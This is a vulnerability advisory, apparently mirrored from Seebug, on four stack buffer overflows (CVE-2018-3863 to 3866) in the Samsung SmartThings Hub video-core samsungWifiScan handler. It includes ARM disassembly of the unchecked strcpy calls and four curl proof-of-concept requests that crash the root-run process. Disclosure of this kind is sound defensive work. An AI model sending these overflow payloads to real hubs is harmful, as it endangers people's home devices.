Lucene search

K
seebugMy SeebugSSV:97455
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub video-core samsungWifiScan Code Execution Vulnerability(CVE-2018-3863 - CVE-2018-3866)

2018-07-3000:00:00
My Seebug
www.seebug.org
532

0.001 Low

EPSS

Percentile

41.8%

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the
samsungWifiScan handler of video-core’s HTTP server of Samsung
SmartThings Hub. The video-core process incorrectly extracts fields from
a user-controlled JSON payload, leading to a buffer overflow on the
stack. An attacker can send an HTTP request to trigger this
vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and other devices through it. The hub board utilizes several
systems on chips. The firmware in question is executed by an i.MX 6
SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allow for a secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the possibility to communicate with
the video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

We identified a vulnerable request that can be exploited to achieve code
execution on the video-core process, which is running as root.
Function sub_46078 is called when requesting the path
“/samsungWifiScan” using the POST method:

.text:00046078     sub_46078
.text:00046078
.text:00046078 000        STMFD           SP!, {R4,R5,R11,LR}
.text:0004607C 010        MOV             R4, R3
.text:00046080 010        ADD             R3, R3, #8
.text:00046084 010        ADD             R11, SP, #0xC
.text:00046088 010        BIC             R3, R3, #7
.text:0004608C 010        SUB             SP, SP, #0x210
.text:00046090 220        SUB             SP, SP, R3
.text:00046094 220        ADD             R3, SP, #0x21C+dest
.text:00046098 220        MOV             R1, R2
.text:0004609C 220        MOV             R0, R3
.text:000460A0 220        MOV             R2, R4
.text:000460A4 220        BL              memcpy
.text:000460A8 220        MOV             R2, #0
.text:000460AC 220        MOV             R3, R0
.text:000460B0 220        STRB            R2, [R3,R4]
.text:000460B4 220        BL              json_tokener_parse  ; [1]
.text:000460B8 220        SUBS            R4, R0, #0
.text:000460BC 220        BEQ             loc_46130
.text:000460C0 220        SUB             R0, R11, #-attr
.text:000460C4 220        BL              pthread_attr_init
.text:000460C8 220        MOV             R1, #1
.text:000460CC 220        SUB             R0, R11, #-attr
.text:000460D0 220        BL              pthread_attr_setdetachstate
.text:000460D4 220        MOV             R2, #:lower16:sub_45BEC
.text:000460D8 220        SUB             R1, R11, #-attr
.text:000460DC 220        MOVT            R2, #:upper16:sub_45BEC ; [2]
.text:000460E0 220        SUB             R0, R11, #-dest
.text:000460E4 220        MOV             R3, R4                  ; [3]
.text:000460E8 220        BL              pthread_create

Note that the binary embeds the “json-c” library from
https://github.com/json-c/json-c that is used to manage JSON objects. As
we can see, json_tokener_parse [1] parses the POST data and returns a
JSON object. Finally, a thread is created for executing the function
sub_45BEC [2], passing the JSON object as parameter [3].

.text:00045BEC     sub_45BEC
.text:00045BEC
.text:00045BEC 000        MOV             R3, #:lower16:aAdmin
.text:00045BF0 000        STMFD           SP!, {R4-R8,LR}
.text:00045BF4 018        MOVT            R3, #:upper16:aAdmin
.text:00045BF8 018        MOV             R6, R0               ; [4] JSON object
.text:00045BFC 018        SUB             SP, SP, #0x420
.text:00045C00 438        MOV             R4, #0
.text:00045C04 438        LDMIA           R3, {R0,R1} ; "admin"
.text:00045C08 438        MOV             R2, #0x22 ; n
.text:00045C0C 438        STR             R0, [SP,#0x438+var_428]
.text:00045C10 438        ADD             R0, SP, #0x438+s
.text:00045C14 438        STRH            R1, [SP,#0x438+var_424]
.text:00045C18 438        MOV             R1, R4  ; c
.text:00045C1C 438        BL              memset
...
.text:00045CA0 438        STR             R6, [SP,#0x438+var_438] ; [4] JSON object
.text:00045CA4 438        ADD             R1, SP, #0x438+var_400  ; password
.text:00045CA8 438        STR             R0, [SP,#0x438+var_430]
.text:00045CAC 438        ADD             R2, SP, #0x438+var_3D8  ; cameraIp
.text:00045CB0 438        ADD             R0, SP, #0x438+var_428  ; user
.text:00045CB4 438        ADD             R3, SP, #0x438+var_3B0  ; callbackUrl
.text:00045CB8 438        STR             R4, [SP,#0x438+var_42C]
.text:00045CBC 438        BL              sub_45948

Right after initializing its local variables, the function calls
sub_45948 in order to extract the parameters from the POST request.
The first four parameters passed to sub_45948 are buffers on the local
function stack, in order: user, password, cameraIp, callbackUrl.
The last argument is the reference to the JSON object [4].

.text:00045948     sub_45948
.text:00045948
.text:00045948     var_208         = -0x208
.text:00045948     var_204         = -0x204
.text:00045948     var_1FC         = -0x1FC
.text:00045948     var_1F8         = -0x1F8
.text:00045948     arg_0           =  0
.text:00045948
.text:00045948 000        STMFD           SP!, {R4-R7,LR}
.text:0004594C 014        MOV             R6, R1
.text:00045950 014        SUB             SP, SP, #0x1F4
.text:00045954 208        MOV             R1, #:lower16:aCameraip ; "cameraIp"
.text:00045958 208        MOV             R7, R0
.text:0004595C 208        MOV             R4, R2
.text:00045960 208        LDR             R0, [SP,#0x208+arg_0]
.text:00045964 208        ADD             R2, SP, #0x208+var_1FC
.text:00045968 208        MOVT            R1, #:upper16:aCameraip ; "cameraIp"
.text:0004596C 208        MOV             R5, R3
.text:00045970 208        BL              json_object_object_get_ex
.text:00045974 208        CMP             R0, #0
.text:00045978 208        BNE             loc_4599C
.text:0004597C 208        MOV             R3, #dword_D90CC
.text:00045984 208        LDR             R3, [R3]
.text:00045988 208        CMP             R3, #0
.text:0004598C 208        MOVEQ           R0, #0x22
.text:00045990 208        BNE             loc_45A24
.text:00045994
.text:00045994     loc_45994
.text:00045994 208        ADD             SP, SP, #0x1F4
.text:00045998 014        LDMFD           SP!, {R4-R7,PC}
.text:0004599C
.text:0004599C     loc_4599C
.text:0004599C 208        LDR             R0, [SP,#0x208+var_1FC]
.text:000459A0 208        BL              json_object_to_json_string
.text:000459A4 208        MOV             R1, R0
.text:000459A8 208        MOV             R0, R4
.text:000459AC 208        BL              strcpy ; [7]
.text:000459B0 208        MOV             R1, #:lower16:aUser ; "user"
.text:000459B4 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459B8 208        ADD             R2, SP, #0x208+var_1FC
.text:000459BC 208        MOVT            R1, #:upper16:aUser ; "user"
.text:000459C0 208        BL              json_object_object_get_ex
.text:000459C4 208        CMP             R0, #1
.text:000459C8 208        BEQ             loc_45A90
.text:000459CC
.text:000459CC     loc_459CC
.text:000459CC 208        MOV             R1, #:lower16:aPassword ; "password"
.text:000459D0 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459D4 208        MOVT            R1, #:upper16:aPassword ; "password"
.text:000459D8 208        ADD             R2, SP, #0x208+var_1FC
.text:000459DC 208        BL              json_object_object_get_ex
.text:000459E0 208        CMP             R0, #1
.text:000459E4 208        BEQ             loc_45A78
.text:000459E8
.text:000459E8     loc_459E8
.text:000459E8 208        MOV             R1, #:lower16:aCallbackurl ; "callbackUrl"
.text:000459EC 208        ADD             R2, SP, #0x208+var_1FC
.text:000459F0 208        MOVT            R1, #:upper16:aCallbackurl ; "callbackUrl"
.text:000459F4 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459F8 208        BL              json_object_object_get_ex
.text:000459FC 208        CMP             R0, #1
.text:00045A00 208        MOVNE           R0, #0
.text:00045A04 208        BNE             loc_45994
.text:00045A08 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A0C 208        BL              json_object_to_json_string
.text:00045A10 208        MOV             R1, R0
.text:00045A14 208        MOV             R0, R5
.text:00045A18 208        BL              strcpy ; [8]
.text:00045A1C 208        MOV             R0, #0
.text:00045A20 208        B               loc_45994
...
.text:00045A78     loc_45A78
.text:00045A78 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A7C 208        BL              json_object_to_json_string
.text:00045A80 208        MOV             R1, R0
.text:00045A84 208        MOV             R0, R6
.text:00045A88 208        BL              strcpy ; [6]
.text:00045A8C 208        B               loc_459E8
.text:00045A90
.text:00045A90     loc_45A90
.text:00045A90 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A94 208        BL              json_object_to_json_string
.text:00045A98 208        MOV             R1, R0
.text:00045A9C 208        MOV             R0, R7
.text:00045AA0 208        BL              strcpy ; [5]
.text:00045AA4 208        B               loc_459CC

This function is supposed to extract each JSON parameter and fill the
four buffers passed as argument. At high level, this is how each
parameter is extracted:

json_object_object_get_ex(json_object, key, &value);
strcpy(buffer, json_object_to_json_string(value));

Where:

- `key` is one of "user", "password", "cameraIp" or "callbackUrl".
- `value` is of type `struct json_object *`.
- `buffer` is one of the first four arguments of the function, a buffer on the stack where the resulting string will be stored.

As we can see, the length of the value of each JSON field is not taken
into account when copying to the buffer on the stack, which can be
exploited to execute arbitrary code. We identified two different vectors
that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send
    arbitrary HTTP requests to hubCore, that would be relayed without
    modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that
    can be either published directly into the device itself or on the
    public marketplace. A SmartApp is executed inside the hubCore
    process and is allowed to make any localhost connection. It is thus
    possible for a SmartApp to send arbitrary HTTP requests directly to
    the vulnerable video-core process.

A third vector might exist, which we didn’t test. This would consist of
sending a malicious request from the SmartThings mobile application to
the remote SmartThings servers. In turn, depending on the remote APIs
available, the servers could relay the malicious payload back to the
device via the persistent TLS connection. To use this vector, an
attacker would need to own a valid OAuth bearer token, or the relative
username and password pair to obtain it.

The following is a list of each vulnerability and its proof of concept.
Each proof of concept uses the placeholder “OVERFLOW” to highlight the
vulnerable parameter, which can be replaced with "A"*0x700 to make the
device crash. A key with value “x” means that its value is irrelevant,
but the key still needs to be present.

CVE-2018-3863 - “user” key

The strcpy at [5] overflows the destination buffer, which has a size
of 40 bytes. An attacker can send an arbitrarily long “user” value in
order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","user":"{OVERFLOW}"}'

CVE-2018-3864 - “password” key

The strcpy at [6] overflows the destination buffer, which has a size
of 40 bytes. An attacker can send an arbitrarily long “password” value
in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","password":"{OVERFLOW}"}'

CVE-2018-3865 - “cameraIp” key

The strcpy at [7] overflows the destination buffer, which has a size
of 40 bytes. An attacker can send an arbitrarily long “cameraIp” value
in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"{OVERFLOW}"}'

CVE-2018-3866 - “callbackUrl” key

The strcpy at [8] overflows the destination buffer, which has a size
of 40 bytes. An attacker can send an arbitrarily long “callbackUrl”
value in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","callbackUrl":"{OVERFLOW}"}'

Timeline

  • 2018-03-28 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.001 Low

EPSS

Percentile

41.8%